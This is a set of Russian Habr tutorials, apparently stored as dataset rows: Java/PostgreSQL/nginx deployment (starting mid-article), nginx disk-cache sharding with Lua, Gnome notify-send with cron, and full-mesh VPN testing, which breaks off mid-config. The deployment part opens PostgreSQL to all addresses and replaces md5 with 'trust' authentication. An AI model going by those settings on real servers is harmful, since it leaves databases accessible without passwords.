Далее заходим на наш сервер, используя [putty](http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe) на Windows или ssh на Linux.
Переходим в директорию, куда был скопирован наш jar-ник и пробуем его запустить командой java -jar youapp.jar
Скорей всего, не получилось. А все почему? Наш проект был создан на java 8, а какая java стоит на сервере, можно узнать с помощью команды java -version. И скорей всего это либо 6, либо 7.
Но не будем унывать, поставим себе новую версию:
```
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer
```
Теперь настала очередь postgres'а. До этого мы использовали локальную версию на машине разработчика, теперь пришло время поставить СУБД на сервер.
Для этого сначала выполняем магическую последовательность команд:
```
sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt/ $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'
sudo apt-get install wget ca-certificates
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install postgresql-9.4 postgresql-contrib-9.4
```
Запускаем postgres:
```
sudo service postgresql start
```
Далее выполняем команду входа в psql:
```
sudo -u postgres psql
```
Устанавливаем пароль:
```
\password postgres
```
И выходим c помощью команды \q
Редактируем файл /etc/postgresql/9.4/main/postgresql.conf, изменив строчку **#listen\_addresses = 'localhost'** на **listen\_addresses = '\*'**
Тем самым мы сможем подключаться к postgresql извне с помощью pgadmin'а. Хотя, конечно, желательно этого избежать в целях безопасности, и когда все будет настроено и отлажено, отключить эту возможность.
Затем редактируем файл /etc/postgresql/9.4/main/pg\_hba.conf
Должны быть добавлены две новых строчки и изменена одна строка для 127.0.0.1 следующим образом:
```
host all all 127.0.0.1/32 trust
host all all /32 trust
host all all /32 trust
```
Я намеренно изменил md5 на trust, так как лично у меня были проблемы с запуском проекта, тем самым отключив проверку пароля для заданных адресов. Возможно у вас их не будет.
Теперь все настроено. Хотя тюнинговать постгрес можно до бесконечности, но ведь у нас всего лишь маленький проект, а значит, пока оставим как есть.
Перезапускаем postgres:
```
sudo service postgresql restart
```
и проверяем его работу.
Всё, с настройкой postgres'а закончили, что у нас дальше по сценарию?
Как уже было отмечено ранее, для запуска собранного jar'ника вполне достаточно команды java -jar youapp.jar
Однако при подобном запуске для того, чтобы зайти на сайт извне, придется прописывать порт(по умолчанию 8080). Чтобы пользователи смогли зайти на сайт, просто введя его адрес, то нам потребуется прокси сервер. В качестве него можно взять nginx, который нужно будет предварительно настроить.
Устанавливаем nginx:
```
sudo apt-get install nginx
```
В моем случае корневой директорией nginx была /etc/nginx. Там нам в первую очередь потребуется изменить файл /sites\_available/default следующим образом:
```
server {
listen 80;
server_name youapp.com;
location / {
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://127.0.0.1:8080/;
}
}
```
Однако и это еще не все. Необходимо также модифицировать наш проект, чтобы он поддерживал настроенный нами прокси. Благо сделать это не трудно, достаточно лишь в application.properties добавить строки(не забудьте залить новую версию с изменениями):
```
server.tomcat.remote_ip_header=x-forwarded-for
server.tomcat.protocol_header=x-forwarded-proto
```
Теперь можно запустить nginx командой service nginx start и затем попробовать запустить наш проект. Он будет доступен по ссылке сайта, либо же, если вы еще не приобрели домен, то по его ip-адресу, без указания порта.
Остался еще один небольшой штрих. Немного неудобно всегда стартовать проект тем способом, который был описан выше. Неплохо бы, чтобы при старте проекта консоль ввода на сервере освобождалась, приложение не закрывалось бы после выхода из ssh-сессии и чтобы где-нибудь велись логи приложения. Сделать это можно с помощью команды nohup. Предварительно создаем bash-скрипт, называя его script.sh:
```
#!/bin/bash
java -jar youapp.jar
```
Прописываем ему право на исполнение:
```
chmod +x ./script.sh
```
И запускаем командой:
```
nohup ./start.sh > log.txt 2>&1 &
```
Все, приложение запущено.
Чтобы остановить приложение, можно либо воспользоваться командой pkill -9 java(при условии, что это единственное java-приложение, запущенное на сервере), либо с помощью утилиты htop, выделив этот процесс, нажав кнопку F9, выбрав слева в списке SIGKILL и нажав enter. На заметку: иногда не срабатывает с первого раза и процедуру приходится повторять.
Теперь, если все сделано правильно, можно открыть сайт нашего проекта в браузере и насладиться результатом.
P.S. Надеюсь, ничего не упустил. Если же найдете ошибку, просьба написать об этом в личном сообщении. Текст будет оперативно исправлен. | https://habr.com/ru/post/257223/ | null | ru | null |
# Дисковая балансировка в Nginx
В этой статье я опишу интересное решение на базе Nginx для случая, когда дисковая система становится узким местом при раздаче контента (например, видео).
#### Постановка задачи
Имеем задачу: необходимо отправлять клиентам статические файлы (видео) с суммарной полосой раздачи в десятки гигабит в секунду.
Такую полосу по очевидным причинам нельзя раздавать прямо из хранилища, необходимо применить кэширование. Объём контента, составляющий большую часть производимого трафика, на несколько порядков больше объёма оперативной памяти одного сервера, поэтому кэширование в ОЗУ невозможно, хранить кэш придётся на дисках.
Сетевые каналы достаточной ёмкости имеются a priori, иначе задача была бы нерешаема.
#### Выбор пути решения
В этой ситуации проблемным местом становятся диски: чтобы сервер произвёл 20 гигабит трафика в секунду (два оптоволокна в агрегате), он должен прочитать с дисков ~2400 мегабайт в секунду полезных данных. Вдобавок к этому диски ещё и могут быть заняты записью в кэш.
Для масштабирования производительности дисковой системы применяют RAID-массивы с чередованием блоков. Ставка делается на то, что при чтении файла его блоки окажутся на разных дисках и скорость последовательного чтения файла будет в среднем равна скорости самого медленного диска, умноженного на число чередующихся дисков.
Проблема такого подхода в том, что он работает эффективно только для идеального случая, когда читают достаточно длинный файл (размер файла много больше размера блока чередования), который расположен внутри файловой системы без фрагментирования. Для параллельного чтения многих мелких и/или фрагментированных файлов такой подход не позволяет даже приблизиться к суммарной скорости всех дисков. К примеру, RAID0 из шести ssd дисков при 100% загруженности очереди ввода-вывода давал скорость как у двух дисков.
Практика показала, что выгоднее поделить файлы между дисками целиком, используя раздельные файловые системы. Это гарантирует утилизацию каждого диска, потому что они независимы.
#### Реализация
Как упомянуто выше, кэшировать будем nginx-ом. Идея в том, чтобы поделить раздаваемые файлы между дисками поровну. Для этого в простейшем случае достаточно хэшированием отобразить множество URL-ов во множество дисков. Примерно так мы и сделаем, но обо всём по порядку.
Определим зоны кэширования по числу дисков. В моём примере их 10.
В секции `http`:
```
proxy_cache_path /var/www/cache1 levels=1:2 keys_zone=cache1:100m inactive=365d max_size=200g;
proxy_cache_path /var/www/cache2 levels=1:2 keys_zone=cache2:100m inactive=365d max_size=200g;
...
proxy_cache_path /var/www/cache10 levels=1:2 keys_zone=cache10:100m inactive=365d max_size=200g;
```
В директорию каждой зоны кэширования примонтирован отдельный диск.
Источниками контента будут три апстрима, по два сервера в каждой группе:
```
upstream src1 {
server 192.168.1.10;
server 192.168.1.11;
}
upstream src2 {
server 192.168.1.12;
server 192.168.1.13;
}
upstream src3 {
server 192.168.1.14;
server 192.168.1.15;
}
```
Это непринципиальный момент, взято для правдоподобия.
Секция `server`:
```
server {
listen 80 default;
server_name localhost.localdomain;
access_log /var/log/nginx/video.access.log combined buffer=128k;
proxy_cache_key $uri;
set_by_lua_file $cache_zone /etc/nginx/cache_director.lua 10 $uri_without_args;
proxy_cache_min_uses 0;
proxy_cache_valid 1y;
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504 http_404;
location ~* ^/site1/.*$ {
set $be "src1";
include director;
}
location ~* ^/site2/.*$ {
set $be "src2";
include director;
}
location ~* ^/site3/.*$ {
set $be "src3";
include director;
}
location @cache1 {
bytes on;
proxy_temp_path /var/www/cache1/tmp 1 2;
proxy_cache cache1;
proxy_pass http://$be;
}
location @cache2 {
bytes on;
proxy_temp_path /var/www/cache2/tmp 1 2;
proxy_cache cache2;
proxy_pass http://$be;
}
...
location @cache10 {
bytes on;
proxy_temp_path /var/www/cache10/tmp 1 2;
proxy_cache cache10;
proxy_pass http://$be;
}
}
```
Директива set\_by\_lua\_file выбирает подходящий диск для этого URL хэшированием. Для условного «сайта» выбирается и запоминается бэкэнд. Затем в файле director происходит перенаправление во внутренний локейшн, который обслуживает запрос из выбранного бэкэнда, сохраняя ответ в определённом для этого URL кэше.
А вот и `director`:
```
if ($cache_zone = 0) { return 481; }
if ($cache_zone = 1) { return 482; }
...
if ($cache_zone = 9) { return 490; }
error_page 481 = @cache1;
error_page 482 = @cache2;
...
error_page 490 = @cache10;
```
Выглядит ужасно, но это единственный способ.
Вся соль конфигурации в хэшировании URL->диск, `cache_director.lua`:
```
function shards_vector(base, seed)
local result = {}
local shards = {}
for shard_n=0,base-1 do table.insert(shards, shard_n) end
for b=base,1,-1 do
choosen = math.fmod(seed, b)+1
table.insert(result, shards[choosen])
table.remove(shards, choosen)
seed = math.floor(seed / b)
end
return result
end
function file_exists(filename)
local file = io.open(filename)
if file then
io.close(file)
return 1
else
return 0
end
end
disks = ngx.arg[1]
url = ngx.arg[2]
sum = 0
for c in url:gmatch"." do
sum = sum + string.byte(c)
end
sh_v = shards_vector(disks, sum)
for _, v in pairs(sh_v) do
if file_exists("/var/www/cache" .. (tonumber(v)+1) .. "/ready") == 1 then
return v
end
end
```
В директиве `set_by_lua_file`, упомянутой выше, этот код получает количество дисков и URL. Идея напрямую отображать URL в диск хороша до тех пор, пока не выйдет из строя хотя бы один диск. Переадресацию URL-ов с проблемного диска на здоровый нужно нужно выполнять одинаково для конкретного URL-а (иначе не будет попаданий в кэш) и при этом же она должна быть разной для разных URL-ов, чтобы не возникало перекоса нагрузки. Оба этих свойства должны сохраняться, если замена замены (и т.д.) тоже выйдет из строя. Поэтому для системы из n дисков отображаю URL во множество всевозможных перестановок этих n дисков и затем по порядку следования этих дисков в расстановке пытаюсь воспользоваться соответствующими кэшами. Критерием активности диска (кэша) считается наличие файла-флага в его директории. Мне приходится chattr-ить эти файлы, чтобы nginx не удалял их.
#### Результаты
Такое размазывание контента по дискам действительно позволяет использовать всю скорость дисковых устройств. Сервер с 6 недорогими SSD-дисками при рабочей нагрузке смог развить отдачу порядка 1200 МБ/с, что соответствует суммарной скорости дисков. Скорость массива же колебалась в районе 400 МБ/c | https://habr.com/ru/post/233525/ | null | ru | null |
# Собственные уведомления (notify) в Gnome
Речь пойдет об извещениях которые показываю практически все приложения от Rhythmbox до сетевых подключений. Хотелось иметь возможность показывать в таком виде собственные и поэтому я взял бубен и начал капать )
для начала понадобится установить пакет libnotify-bin, я под ubuntu запустил команду
`sudo apt-get install libnotify-bin`
после этого небольшой тест. Проверяем в консоле
`notify-send test`
если у вас появилась такое окошко значит можно двигаться дальше и разбираться с настройками
[](http://3.bp.blogspot.com/_hwy7Wg953OI/SVUkOHrr5AI/AAAAAAAAChQ/TS-EvDLrK2E/s1600-h/Screenshot-4.png)
notify-send [OPTION...] [BODY] — create a notification
*-u, --urgency=LEVEL*
Вариантов здесь не так много, low, normal, critical. Разница лишь в полоске которая появляется с левой стороны.
-t, --expire-time=TIME Specifies the timeout in milliseconds at which to expire the notification.
Здесь все понятно, указываем время в миллисекундах которе извещение будет висеть на экране.
-i, --icon=ICON[,ICON...] Specifies an icon filename or stock icon to display.
С иконкой тоже все замечательно, Во первых можно прямо указать путь на любое изображение на диске. Другой вариант это открыть /usr/share/icons/hicolor/48x48/apps/ и выбрать там любую и указать ее название только без расширения notify-send -i pidgin test
-c, --category=TYPE[,TYPE...] Specifies the notification category.
по идеи задание категории должно было дать результат но я поверьте его так и не заметил, поэтому пойдем дальше
-h, --hint=TYPE:NAME:VALUE Specifies basic extra data to pass. Valid types are int, double, string and byte.
хинты дают возможность большу возможность по настройке, например местоположение на экране где должно появится извещение -h int:x:500 -h int:y:500
теперь по тексту, принимаются 2 текста, первый идет в шапку, второй это тело с небольшими возможностями гипертекста
[](http://3.bp.blogspot.com/_hwy7Wg953OI/SVUkq0JE9oI/AAAAAAAAChY/TBbu716Pns4/s1600-h/Screenshot-6.png)
notify-send «Шапка» "**жирный *италик [ссылка](«a.html»)"
после того как разобрались с настройками сразу начинает зарождаться мысль, а куда это применить и первое это собственный органайзер. Все время говорят что надо отрываться от монитора каждые 45 минут, значит есть шанс это сделать. Шаг первый это написать небольшой скриптик
`#!/bin/sh
export DISPLAY=:0.0
PATH=/usr/bin/:/bin/
notify-send --urgency normal --expire-time=10000 -i typing-monitor -h int:x:500 -h int:y:500 "Пора сделать перерыв" "Глазам нужен отдых"`
что здесь важно, это DISPLAY, крон его не видит в упор и поэтому команды хоть и будут выполнятся на экране ничего не появится.
сохраняем ставим на исполнение и проверяем
`chmod a+x sh1.sh
./sh1.sh`
[](http://2.bp.blogspot.com/_hwy7Wg953OI/SVUk7klQxeI/AAAAAAAAChg/ZHeUcR-7uQs/s1600-h/Screenshot-5.png)
результат понравился? тогда дело за настройкой крона
`45 * * * * /home/rus/sh1.sh`
Ну вот
за дополнительной информацией обращайтесь на <http://www.galago-project.org/specs/notification/0.9/x211.html>
кроспостинг <http://mymans.org/2008/12/26/500>
Дополнение от [spiritedflow](https://habrahabr.ru/users/spiritedflow/)
Насчет DISPLAY=:0.0. Жестковбитый DISPLAY — не хорошо. Он время от времени может меняться, даже, если всего один пользователь за компьютером. Кроме того, если ты закрыл сессию и ушел, крон будет все равно работать и ошибки будут сыпаться тебе в почту.
Лучше определять его автоматом, например, с помощью вот такой вот функции:
# get\_display [USER] — Returns $DISPLAY of USER.
# If first param is omitted, then $LOGNAME will be used.
get\_display () {
who \
| grep ${1:-$LOGNAME} \
| perl -ne 'if ( m!\(\:(\d+)\)$! ) {print ":$1.0\n"; $ok = 1; last} END {exit !$ok}'
}
И в скрипте поправить вот так (в одной строчке нельзя, так как export сбивает $?):
DISPLAY=$(get\_display) || exit
export DISPLAY*** | https://habr.com/ru/post/47892/ | null | ru | null |
# Построение Full-Mesh VPN-сети с использованием fastd, tinc, VpnCloud и тестирование производительности
Привет, Хабр! Меня зовут Олег, я архитектор клиентских решений в Selectel. Недавно мы столкнулись с интересным клиентским кейсом при создании Full-Mesh сети. Расскажу, как пришлось тестировать VPN-сервисы, чтобы найти оптимальное решение.
Все результаты собрал в сводной таблице, чтобы наглядно показать разницу и аргументировать выбор.
К нам обратился клиент с задачей по переносу данных с арендованных выделенных серверов одного популярного в России поставщика услуг из Германии. На то было две причины:
* Невозможность простой и быстрой оплаты услуг, поскольку привязанная карта российского банка перестала работать.
* Защита от возможной эскалации санкционного давления (то есть полный запрет работы).
Если в первом случае мы помогли временно решить проблему, то во втором никаких гарантий дать не могли. Поэтому клиент принял решение мигрировать в Selectel, [воспользовавшись специальным предложением](https://promo.selectel.ru/migration_vacation/?utm_source=habr.com&utm_medium=referral&utm_campaign=cloud_article_migration25_22112022_content).
C чем мы столкнулись
--------------------
Компания арендовала в Германии такую инфраструктуру:
* два сервера-гипервизора на базе Qemu/KVM с управлением через libvirtd,
* два сервера c Docker-контейнерами для разработчиков и их заказной CRM/ERP-системой,
* несколько виртуальных машин на Linux и Windows Server 2019.
Со схемой можно ознакомиться ниже:
Сначала мы изучили текущее клиентское решение и предложили на его основе свою схему миграции, которая бережно относилась к текущей IT-инфраструктуре и при этом не теряла в отказоустойчивости.
Далее мы занялись обеспечением сетевой связности на втором уровне стека протоколов TCP/IP. Так мы смогли обеспечить клиенту «бесшовный» перенос виртуальных машин и сохранить IP-адреса. Чтобы оптимизировать бюджет, клиент выбрал серверы линейки [Chipcore](https://selectel.ru/services/dedicated/chipcore/?utm_source=habr.com&utm_medium=referral&utm_campaign=dedicated_article_fullmesh_22112022_content), в которых отсутствует «приватная сеть».
На этапе миграции остановились на следующей организации сетевой топологии. Так мы обеспечили единую L2-связность между дата-центром Selectel и зарубежным ЦОД:
Потенциальные кандидаты
-----------------------
Дело осталось за малым — подобрать VPN, который прост в настройке, поддерживает L2, полносвязную топологию и использует быстрые, криптостойкие алгоритмы шифрования.
Вариант с [Wireguard](https://www.wireguard.com/) был отброшен сразу: он не работает по L2, только по L3, хотя продукт достойный.
OpenVPN — в данном случае не лучший выбор, так как имеет клиент-серверную архитектуру. В случае возникновения проблем или при регламентном обслуживании сервера связность на L2 потеряется. Нам не хотелось создавать точку отказа.
Во время миграции можно было бы использовать OpenVPN, но хотелось сразу подготовить решение, которое не нужно дорабатывать.
Рассматривались следующие варианты:
* fastd,
* VpnCloud,
* Tinc.
> Стоит отметить, что у разработчика VpnCloud удобный [сайт](https://vpncloud.ddswd.de/). Есть подробные описания, проведены синтетические тесты и сравнены результаты, много «теории» и т.д. Есть даже таблица сравнения возможностей ПО:
К сожалению, там нет даже упоминания [fastd](https://github.com/NeoRaider/fastd), который использовался в проекте.
Выбирать, основываясь на субъективном мнении пользователей и разработчиков, не хотелось, поэтому решили провести лабораторное тестирование VPN-систем и составить свое предвзятое мнение 🙂.
Критерии, по которым оценивались кандидаты:
* скорость передачи данных через туннель,
* стабильность работы,
* простота и удобство настройки,
* кроссплатформенность, наличие готовых пакетов под различные дистрибутивы Linux,
* документация.
[](https://selectel.ru/services/cloud/servers/?utm_source=habr.com&utm_medium=referral&utm_campaign=cloud_article_gmcloud_03112022_banner)
Важное лирическое отступление по MTU
------------------------------------
При использовании VPN мы имеем дело с инкапсуляцией пакетов, поэтому важно правильно выставить значение MTU. Новый туннель добавляет дополнительные заголовки к пакету и снижает возможное количество передаваемых полезных данных (payload). Накладные расходы зависят как от типа туннельного интерфейса, так и от используемых алгоритмов шифрования данных.
Например, для нашего проекта получаем:
* Базовый MTU — 1 500 байт (стандарт для IEEE 802.3 Ethernet).
* TAP-интерфейс — дополнительно 28+14=42 байта.
* IPv4 дополнительных байт не добавляет. Если бы использовался IPv6, то общий MTU уменьшился еще на 20 байт.
* Шифрование — еще 24 байта.
**Итого: 1500-42-24 = 1 434 байта**
Что это означает на практике:
* При создании сетевого моста Linux или программного коммутатора (если вы захотите использовать Open vSwitch), в который предполагается добавить VPN-интерфейс, то MTU моста/свитча, как и MTU всех подключенных к нему Ethernet и виртуальных интерфейсов должен быть одинаковый, но при этом меньше или равен 1 434 байтам.
* Нужно убедиться, что в ОС на виртуальной машине на сетевом адаптере также выставлен правильный MTU, например, для ВМ с ОС Windows:
* Во избежании проблем с [path mtu discovery blackhole](https://habr.com/ru/post/136871/) на хостах Qemu/KVM нужно создать правило netfilter. Например, при использовании iptables:
`sudo iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu`
С дополнительной информацией по решению проблемы можно ознакомиться [здесь](https://vpncloud.ddswd.de/faq/) и [здесь](https://fastd.readthedocs.io/en/stable/manual/mtu.html).
Тестирование
------------
План тестирования:
1. На нашей облачной платформе создаются три виртуальные машины в разных зонах доступности (и регионах). При этом используются разные дистрибутивы Linux (rpm-based и deb-based).
2. Один раз запускаем iperf для измерения скорости передачи данных между машинами без VPN, фиксируем результат.
3. Средствами пакетного менеджера из репозиториев устанавливаем тестируемый VPN на все серверы и настраиваем его для взаимодействия с другими пирами. Также настраиваем автоматический старт при перезагрузке машины. Если позволяет ПО, выставляем либо самый быстрый, либо рекомендуемый разработчиком алгоритм шифрования трафика. **Важно**: VpnCloud не позволяет задать алгоритм шифрования вручную — только автоматически после запуска внутреннего бенчмарка.
4. Запускаем iperf на 30 минут, фиксируем скорость передачи данных, задержки, затем заносим данные в таблицу.
5. Последовательно осуществляем остановку и запуск VPN-сервиса на всех виртуальных машинах и фиксируем прохождение трафика между остальными включенными пирами (убеждаемся, что VPN действительно полносвязный).
6. После теста пакет с машины удаляется.
7. Оцениваем VPN-сервисы по объявленным выше критериям, выставляя места от 1 до 3.
Виртуальные машины создаются с образами AlmaLinux 8 64-bit, CentOS 7 Minimal 64-bit и Ubuntu 22.04 LTS 64-bit. Так мы достигли следующей сетевой топологии:
Переходим к тестированию.
fastd
-----
По установке все тривиально. Для RHEL-based дистрибутивов собранный пакет присутствует в EPEL, для Ubuntu — в universe.
Для AlmaLinux и CentOS убеждаемся, что [EPEL](https://docs.fedoraproject.org/en-US/epel/) задействован и ставим пакет:
```
sudo yum -y install epel-release && (yum repolist | grep -i epel)
sudo yum -y install fastd
```
Для Ubuntu устанавливаем штатно:
```
sudo apt-get --yes install fastd
```
Конфигурирование идентично для всех дистрибутивов в тесте. Смотрим на unit, поставляемый с пакетом:
```
sudo systemctl cat fastd@.service
[Unit]
Description=Fast and Secure Tunnelling Daemon (connection %I)
After=network.target
[Service]
Type=notify
ExecStart=/usr/bin/fastd --syslog-level info --syslog-ident fastd@%I -c /etc/fastd/%I/fastd.conf
ExecReload=/bin/kill -HUP $MAINPID
[Install]
WantedBy=multi-user.target
```
Создаем каталог и конфигурационный файл в нем:
```
sudo mkdir /etc/fastd/vpntest/ && sudo touch /etc/fastd/vpntest/fastd.conf
```
Генерируем публичный и приватный ключ для каждой машины:
```
fastd --generate-key
```
Вывод будет иметь следующий вид (ключи в production-конфигурациях не используются):
```
2022-03-03 11:35:15 +0300 --- Info: Reading 32 bytes from /dev/random...
Secret: f0a31725e3750e40c7664599359ef80dc209431c865ed3b56f94346c2009d96c
Public: 71fdf3236cd5e26a528449b5a9a7ab8c1d78382fa7c740685d4e717a67d21f2d
```
Содержимое раздела с пирами уникально на каждой виртуальной машине. У каждого будет свой secret и скрипты on up/down, а также закомментирован peer, в котором фигурирует непосредственно хост. Для примера здесь приведена конфигурация fastd на peer-01:
```
sudo cat /etc/fastd/vpntest/fastd.conf
```
**Что получилось**
```
# Log warnings and errors to stderr
log level warn;
# Log informational messages to syslog
log to syslog level info;
# Hides IP addresses in log output
hide ip addresses no;
# Hides MAC addresses in log output
hide mac addresses no;
# Sets the mode of the interface; the default is TAP mode.
# In TAP mode, a single interface will be created for all peers
# in multi-TAP and TUN mode, each peer gets its own interface.
# mode multitap;
mode tap;
# Use the L2TP kernel implementation for the “null@l2tp” method.
# Enabling offloading allows for significantly higher throughput,
# as data packets don’t need to be copied between kernel and userspace.
# We do not use methods without encryption so setting this option to
# "yes" does not make any sense
offload l2tp no;
# Set the interface name
interface "mesh-vpn";
# If set to no, fastd will create peer-specific interfaces
# only as long as there’s an active session with the peer.
# Does not have an effect in TUN mode.
#persist interface no;
persist interface yes;
# Set the interface MTU for TAP mode with xsalsa20/aes128 over IPv4 with a base MTU of 1492 (PPPoE)
# (see MTU selection documentation)
# The basic overhead of a fastd packet in TUN mode over IPv4 is 28 bytes plus method-specific overhead
# Method “null” uses 1 additional header byte, “null@l2tp” 8 bytes, and all other methods 24 bytes
# TAP mode needs 14 bytes more than TUN mode
# Tunneling over IPv6 needs 20 bytes more than IPv4
# If your base MTU is 1500 and you want to use TUN mode over IPv4 with any crypto method
# Choose 1500 - 28 - 24 = 1448 bytes.
mtu 1434;
# Enables or disabled forwarding packets between peers.
forward yes;
# Support salsa2012+umac #and null methods, prefer salsa2012+umac
method "salsa2012+umac";
# Bind to a fixed port, IPv4 only
bind 0.0.0.0:10000;
# Sets the user to run fastd as.
user "nobody";
# Sets the group to run fastd as.
# Use group "nogroup" in Debian/Ubuntu and "nobody" on RHEL-based distros.
group "nobody";
#group "nogroup";
# By default, fastd switches to the configured user
# and/or drops its POSIX capabilities after the on-up command has been run
drop capabilities yes;
# Configures a shell command that is run after the interface is created,
# before the interface is destroyed, when a handshake is sent to make
# a new connection, when a new peer connection has been established,
# or after a peer connection has been lost
#on pre-up [ sync | async ] "";
#on up [ sync | async ] "";
#on down [ sync | async ] "";
#on post-down [ sync | async ] "";
#on connect [ sync | async ] "";
#on establish [ sync | async ] "";
#on disestablish [ sync | async ] "";
#on up sync "/usr/local/bin/peer-fastd up virtsrvbr0";
on up "ip addr add 172.16.0.11/24 dev mesh-vpn";
# Secret key generated by `fastd --generate-key`
secret "f0a31725e3750e40c7664599359ef80dc209431c865ed3b56f94346c2009d96c";
# An inline peer configuration.
# peer "peer-01" { remote 198.51.100.11:10000; key "71fdf3236cd5e26a528449b5a9a7ab8c1d78382fa7c740685d4e717a67d21f2d"; }
peer "peer-02" { remote 192.0.2.12:10000; key "b5b9a0187324e9581c332f9701411ee32da2d0d8c875f2bc0e6d1a72b4241ee2"; }
peer "peer-03" { remote 203.0.113.13:10000; key "c7eeafa25a59b910f85dd570dc27dd6889cf3acdf3f1561200f754b377b9d693"; }
# Include peers from the directory 'peers'
#include peers from "peers";
```
Запускаем демон и задействуем его при включении сервера:
```
sudo systemctl enable --now fastd@vpntest
```
Проверяем:
```
sudo systemctl status fastd@vpntest
fastd@vpntest.service - Fast and Secure Tunnelling Daemon (connection vpntest)
Loaded: loaded (/usr/lib/systemd/system/fastd@.service; enabled; vendor preset: disabled)
Active: active (running) since Thu 2022-03-03 11:45:52 MSK;
Main PID: 8021 (fastd)
Tasks: 1 (limit: 203248)
Memory: 948.0K
CGroup: /system.slice/system-fastd.slice/fastd@vpntest.service
└─8021 /usr/bin/fastd --syslog-level info --syslog-ident fastd@vpntest -c /etc/fastd/vpntest/fastd.conf
```
После подключения всех пиров в логах будут следующие строки:
```
sudo journalctl -u fastd@vpntest.service --no-pager --no-hostname | grep "connection with"
мар 05 11:47:36 fastd@vpntest[8021]: connection with established.
мар 05 11:47:39 fastd@vpntest[8021]: connection with established.
```
Устанавливаем iperf. Для RHEL-based дистрибутивов:
```
sudo yum -y install iperf
```
Для Debian соответственно:
```
sudo apt-get --yes install iperf
```
Запускаем утилиту в режиме сервера на одном из пиров, на втором — в режиме клиента и замеряем скорость соединения без использования туннеля:
```
peer-01>iperf -c 192.0.2.12 -e
peer-02>iperf -s
```
**Результат**
```
------------------------------------------------------------
Client connecting to 192.0.2.12, TCP port 5001 with pid 13242
Write buffer size: 128 KByte
TCP window size: 85.0 KByte (default)
------------------------------------------------------------
[ 3] local 198.51.100.11 port 38160 connected with 192.0.2.12 port 5001
[ ID] Interval Transfer Bandwidth Write/Err Rtry Cwnd/RTT
[ 3] 0.00-1800.00 sec 197.40 GBytes 942 Mbits/sec /0 3 462K/2543 us
```
ICMP-пинги:
```
peer-02>ping -c 120 -s -A 198.51.100.11
……
198.51.100.11 xmt/rcv/%loss = 120/120/0%, min/avg/max = 0.38/0.44/0.80
1 targets
1 alive
0 unreachable
0 unknown addresses
0 timeouts (waiting for response)
120 ICMP Echos sent
120 ICMP Echo Replies received
0 other ICMP received
0.38 ms (min round trip time)
0.44 ms (avg round trip time)
0.80 ms (max round trip time)
120.000 sec (elapsed real time)
```
Далее повторяем измерения, но уже через VPN-туннель:
```
peer-01>iperf -c 172.16.0.12 -e -t 1800 -i 60 -o iperf_fastd_btest.txt
peer-02>iperf -s
```
**Результат (только полезные данные)**
```
peer-01>cat iperf_fastd_btest.txt
```
```
------------------------------------------------------------
Client connecting to 172.16.0.12, TCP port 5001 with pid 15233 (1 flows)
Write buffer size: 131072 Byte
TOS set to 0x0 (Nagle on)
TCP window size: 45.0 KByte (default)
------------------------------------------------------------
[ 1] local 172.16.0.12%mesh-vpn port 42552 connected with 172.16.0.11 port 5001 (MSS=1382) (sock=3) (irtt/icwnd=475/13) (ct=0.55 ms) on 2022-03-03 07:04:56 (MSK)
[ ID] Interval Transfer Bandwidth Write/Err Rtry Cwnd/RTT(var) NetPwr
……………
[ 1] 0.00-1800.03 sec 187 GBytes 894 Mbits/sec 1534056/0 68845 149K/1278(59) us 87406
```
```
peer-02>ping -c 120 -s -A 172.16.0.11
```
```
……
172.16.0.11 xmt/rcv/%loss = 120/120/0%, min/avg/max = 0.38/0.44/0.80
1 targets
1 alive
0 unreachable
0 unknown addresses
0 timeouts (waiting for response)
120 ICMP Echos sent
120 ICMP Echo Replies received
0 other ICMP received
0.38 ms (min round trip time)
0.44 ms (avg round trip time)
0.80 ms (max round trip time)
120.000 sec (elapsed real time)
```
VpnCloud
--------
Разработчик предоставляет готовые пакеты, которые доступны для скачивания и установки в разделе [releases](https://github.com/dswd/vpncloud/releases) на GitHub. Для Debian/Ubuntu также можно воспользоваться [репозиторием](https://repo.ddswd.de/deb).
Для установки последней стабильной версии в AlmaLinux и CentOS [выполняем](https://github.com/dswd/vpncloud/releases/download/v2.3.0/vpncloud_2.3.0-1.x86_64.rpm):
```
sudo yum -y install
```
Для Ubuntu подключаем репозиторий и устанавливаем:
```
echo "deb https://repo.ddswd.de/deb stable main" | sudo tee /etc/apt/sources.list.d/vpncloud.list
wget https://repo.ddswd.de/deb/public.key -qO- | sudo apt-key add
sudo apt-get update && sudo apt-get --yes install vpncloud
```
Далее для конфигурирования можно воспользоваться мастером, который предоставляет TUI, работающий в трех режимах: базовом, продвинутом и экспертном. Запускается мастер следующим образом:
```
sudo vpncloud config
```
Вводим запрашиваемые данные и после его успешного выполнения по пути `/etc/vpncloud/${your_network_name}.net` создастся YAML-файл с настройками. Я мастером пользоваться не стал, изучил man vpncloud, пример из `/etc/vpncloud/example.net.disabled` и сделал конфигурацию самостоятельно, предварительно сгенерировав ключи. На каждом из peer запускаем:
```
vpncloud genkey
Private key: gLtF7RuP4Jbew55N1wGDr81TXgD10OeipRTjPtL28Hr
Public key: J1UYpeLbR9Jq51jbsfPKfyfPCKPcgoTpEsecxgSgDIW
Attention: Keep the private key secret and use only the public key on other nodes to establish trust.
```
Приведенные ключи в production-конфигурациях не используются.
Вносим ключи в конфигурацию на каждой виртуальной машине, не забываем добавить публичную часть ключа в доверенные на других серверах.
**Пример файла конфигурации на peer-02**
```
sudo cat /etc/vpncloud/vpntest.net
---
device:
type: tap
name: mesh-vpn-%d
ip: 172.16.0.12/24
crypto:
private-key: gLtF7RuP4Jbew55N1wGDr81TXgD10OeipRTjPtL28Hr
public-key: J1UYpeLbR9Jq51jbsfPKfyfPCKPcgoTpEsecxgSgDIW
trusted-keys:
- cG5BMfIyDBZghrNlopOE8QT06aUXYoaXHFJAwZxM84j
- BQK0a8clKrfiQGsPLDaByiT4ULyRZWbTnQcUYYJVXhZ
listen: 3210
peers:
